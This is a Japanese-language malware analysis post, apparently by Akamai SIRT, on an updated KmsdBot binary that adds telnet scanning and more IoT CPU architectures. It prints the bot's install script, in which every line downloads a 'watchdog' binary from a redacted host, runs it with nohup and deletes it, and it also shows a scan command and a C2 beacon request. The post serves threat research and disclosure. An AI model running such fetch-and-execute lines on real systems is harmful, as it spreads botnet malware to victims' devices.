更新版 Kmsdx バイナリから、KmsdBot が IoT 環境をターゲットとしていることが判明
編集・協力:Tricia Howard
エグゼクティブサマリー
Akamai Security Intelligence Response Team(SIRT)は、KmsdBot マルウェアキャンペーンを継続的に追跡しています。これにより、更新版 Kmsdx バイナリが IoT デバイスをターゲットとしていることが明らかになりました。
このバイナリには、telnet スキャンやより多くの CPU アーキテクチャのサポートが含まれており、攻撃機能とアタックサーフェスが拡張されています。
これらの新機能は、2023 年 7 月中旬以降にのみ確認されています。
このマルウェアは、プライベート・ゲーミング・サーバー、クラウド・ホスティング・プロバイダー、特定の行政機関や教育機関のサイトを標的としています。
このマルウェアが存在し、活動していることは、脆弱な IoT デバイスがインターネット上で引き続き重大な脅威となっており、定期的なセキュリティ対策と更新の必要性が高まっていることを示しています。
これまでの振り返り
Akamai SIRT は Kmsdx のボットネットキャンペーン を 2022 年 11 月から追跡しており、現在は新たな進化が起こっています。今回は、IoT を標的とした更新版 Ksmdx バイナリを発見しました。これは、以前のバージョンと比較して機能が著しく拡張されたものです。
IoT ターゲティングが追加されていることから、攻撃者のふるまいや全体的な状況についての知見も得られます。IoT が登場して数年が経ったにもかかわらず、複数の大規模な IoT 主導分散型サービス(DDoS)攻撃だけでなく、このような新たな進化が起こっていることから、IoT によって依然として幅広い脅威がもたらされていることがわかります。
この記事では、バイナリの更新内容に目を通し、そのターゲティング手法を確認します。また、この進化の影響についても説明します。
IoT をターゲットとする KmsdBot
KmsdBot は、筆者が 初めて発見 して 偶然無効化し、その後 Akamai SIRT が そのコマンド&コントロール(C2)をエミュレートしました。進化を続けるこのマルウェアの調査は続いており、この 4 番目のバージョンである更新版 Kmsdx バイナリに至っています。
このバイナリは、オープン SSH ポートのランダム IP アドレスをスキャンし、C2 サーバーからダウンロードされたパスワードリストを使用してシステムにログインしようとします。
このバイナリは、telnet スキャンおよび正当な telnet サービスの検証をサポートするように更新されています。KmsdBot バイナリのリストが増加し、IoT デバイスで一般的に使用される CPU アーキテクチャをより多くカバーするようになっています。これについては、 このマルウェアに関する最初のブログ記事 で、将来的な可能性として説明しました。なぜなら、FTP サーバーのディレクトリ構造によって、より多くの CPU アーキテクチャのサポートが提供されることが示唆されていたからです。
このサンプルは、ポート 23 の最初の接続で何かが受信されたかどうかを判断して、有効な telnet サービスをチェックしているようです。ポート 23 をリッスンしているものが有効な telnet サービスであることを確認しているらしく、単に切断するのではなく、プロンプトを表示します。
図 1 の生成された擬似コードでは、 main_isitfake がメインの telnet スキャン機能内で呼び出されます。
チェックが失敗した場合は、そこで終了します。一方、合格した場合は(false を返します)、感染ペイロードの実行に進みます。
このように一見すると単純な IP スキャンですが、実際には少し深みがあります(図 2)。この正当性チェックは、IoT デバイスをターゲットにする可能性があることを示す要素の 1 つです。 一部の IoT デバイスには telnet リスニング機能があり、IP アドレスが RFC 1918 アドレス空間からのものでない場合に接続を切断するアクセス制御リストも用意されています。
RFC 1918 に馴染みがない読者のために付け加えておくと、RFC 1918 は「Address Allocation for Private Internets」というタイトルで、内部ネットワークに使用される IP アドレス範囲について説明しています。たとえば、ホームネットワークに使用される一般的な IP 範囲は、192.168.1.0/24 と 192.168.0.0/24 です。
SSH スキャナと同様に、telnet スキャナはランダムな IP アドレスを生成する機能を呼び出します。次に、その IP アドレスのポート 23 に接続しようとします。telnet スキャナは、ポート 23 がリッスンしているかしていないかの単純な判断で止まることはありませんが、受信バッファにデータが含まれていることを確認します。この擬似コードのスニペットを、逆コンパイルされたバイナリから生成することができました(図 3)。これは、データを含むバッファをチェックする方法を示しています(null ではありません)。
Package main: /root/scan
File: main.go
main Lines: 11 to 48 (37)
scanner Lines: 48 to 68 (20)
File: pma.go
checkpma Lines: 13 to 79 (66)
checkpmafunc1 Lines: 68 to 72 (4)
check Lines: 79 to 114 (35)
File: ssh.go
sshcheck Lines: 15 to 205 (190)
scan Lines: 205 to 227 (22)
scanfunc1 Lines: 218 to 226 (8)
File: telnet.go
scantelnet Lines: 11 to 41 (30)
scantelnetfunc1 Lines: 26 to 34 (8)
telnet Lines: 41 to 85 (44)
isitfake Lines: 85 to 120 (35)
File: utils.go
randomIP Lines: 31 to 49 (18)
portopen Lines: 49 to 82 (33)
newpassword Lines: 82 to 92 (10)
sendreq Lines: 92 to 104 (12)
optimaltimeout Lines: 104 to 119 (15)
nolimits Lines: 119 to 127 (8)
osname Lines: 127 to 184 (57)
getlistofdata Lines: 184 to 217 (33)
choosedifficultyport Lines: 217 to 245 (28)
workername Lines: 245 to 271 (26)
randomwallet Lines: 271 to 274 (3)
図 4:telnet サービスのスキャンをサポートするために追加されたコードを示す redress の出力
更新の影響
KmsdBot の更新の一部は成果をあげていませんが、今回の更新は成果をあげているようです。追加されたスキャンチェック機能に加えて、現在ではさらに多くのアーキテクチャがサポートされています。Winx86、Arm64、mips64 のみの、x86_64 の時代は終わりました。インストールスクリプト ftp1.sh(図 5)からわかるように、他にも多くのものが利用できるようになりました。
#/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
図 5:サポートされているアーキテクチャを示す kmsd インストールスクリプト
kmsd は遅くとも 2022 年 11 月から存在していますが、telnet の正当性のスキャンが行われるようになったのはかなり最近のことです。Akamai のボット追跡ログによると、telnet サービスのスキャンは 2023 年 7 月 16 日に開始されました。
被害者を見つける
telnet.txt(図 6)は、ダウンロードされるファイルの名前であり、さまざまなアプリケーションの認証情報のリストが含まれています。ログを確認したところ、app、euro、euro2、euro3、euro4、lilstat、stats、users といったファイル名がありました。 ファイルには、アプリケーションごとの認証情報が含まれています。たとえば、「app」には Hadoop、Oracle、Elasticsearch などのアプリケーションのログイン認証情報、「euro」ファイルには TeamSpeak、CentOS、Ubuntu の認証情報やその他のログイン情報の組み合わせが含まれています。
!scan c2_ipadddress telnet telnet.txt kthread watchdog
図 6:認証情報をダウンロードしてスキャンを開始するボットコマンド
図 7 に示すように、テキストファイルには一般的に使用されている脆弱なパスワードとそれらの組み合わせ(大文字/小文字の違いがあるだけの同じ単語など)が多数含まれています。リストには、人間が使用しないほど極めてシンプルかつ不適切であり、役に立たないと思われる認証情報も含まれています。
しかし、IoT の観点では、これは完全に理にかなっています。多くの IoT デバイスにはデフォルトの認証情報が残されています。実際、テクノロジーに対する意識が低く、認証情報を変更 できる ことさえ知らない人がたくさんいます。
コマンドラインの上にあるボットコマンドとは別に、./ksmdx telnet telnet.txt kthread watchdog が原因で ksmdx バイナリが telnet 認証情報のリストをダウンロードし、telnet サービスのランダム IP アドレスのスキャンを開始します。次に、スキャナはポート 45833 に「Bruh Started:」(図 8)という POST リクエストを送信し、スキャンが開始されたという報告を C2 サーバーに返します。
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:45833
User-Agent: Go-http-client/1.1
Content-Length: 14
Content-Type: text/plain
Accept-Encoding: gzip
Bruh Started:
図 8:攻撃者によって telnet スキャンが開始されたことを警告する POST リクエスト
一貫性のないターゲティング
ボットネットは、ほとんどの場合、プライベート・ゲーミング・サーバーやクラウド・ホスティング・プロバイダーをターゲットにしています。しかし、kmsd の各ラウンドでは、対象外と思われるターゲットがいくつかありました。今回は、ルーマニア政府のいくつかのサイトやスペインの大学が何校か被害を受けました。
ターゲティングに一貫性がないことは、kmsd の背後にある攻撃者のふるまいと一致しています。これは、ボットネット請負サービスである可能性があります。このような攻撃は、HTTP POST リクエストを使用してポート 80 および 443 をターゲットにしており、「ビッグデータ」攻撃は依然として攻撃の主な選択肢となっています。
セキュリティ侵害インジケーター(IoC)
66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh
718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386
1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64
50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm
812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64
542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips
184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64
b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le
b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle
b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64
c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le
c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x
d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx
cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php
803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh
733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe
結論
現在行われている KmsdBot マルウェアキャンペーンの活動は、IoT デバイスが脆弱性を抱えたままインターネット上に普及しており、感染したシステムのネットワークを構築するための魅力的なターゲットとなっていることを示しています。
技術的な観点から見ると、telnet スキャン機能が追加されたことは、ボットネットのアタックサーフェスが拡大し、広範なデバイスを標的にできるようになったことを表しています。さらに、このマルウェアが進化し、より多くの CPU アーキテクチャのサポートが追加されているため、インターネットに接続されたデバイスのセキュリティに対する脅威が継続的に発生しています。この拡張は、ボットネットの成功をも示しています。(いずれかの更新で誤って無効化してしまったとしても)ボットネットが効果的でなかった場合、攻撃者はそれほど頻繁に更新に時間を費やすことはありません。
個人的な見解としては、今回の発見により、そのような攻撃を防ぐためには堅牢なセキュリティ対策と定期的な更新が必要であることが明白になったと思います。また、IoT とそれによって一般的な人や世帯にもたらされる脅威についての教育を強化する必要があります。この脅威は繰り返し発生しています。所有者の知らないうちに、無作為に選ばれた冷蔵庫が意図せず DDoS 攻撃に利用されるということが容易に起こり得るのです。
今後の情報提供
Akamai SIRT の任務の 1 つは、KmsdBot のようなボットネットの進化を調査して文書化し、その結果を皆さまに開示することです。セキュリティに関する最新の調査結果をリアルタイムで確認するためには、 Twitterで Akamai をフォローしてください。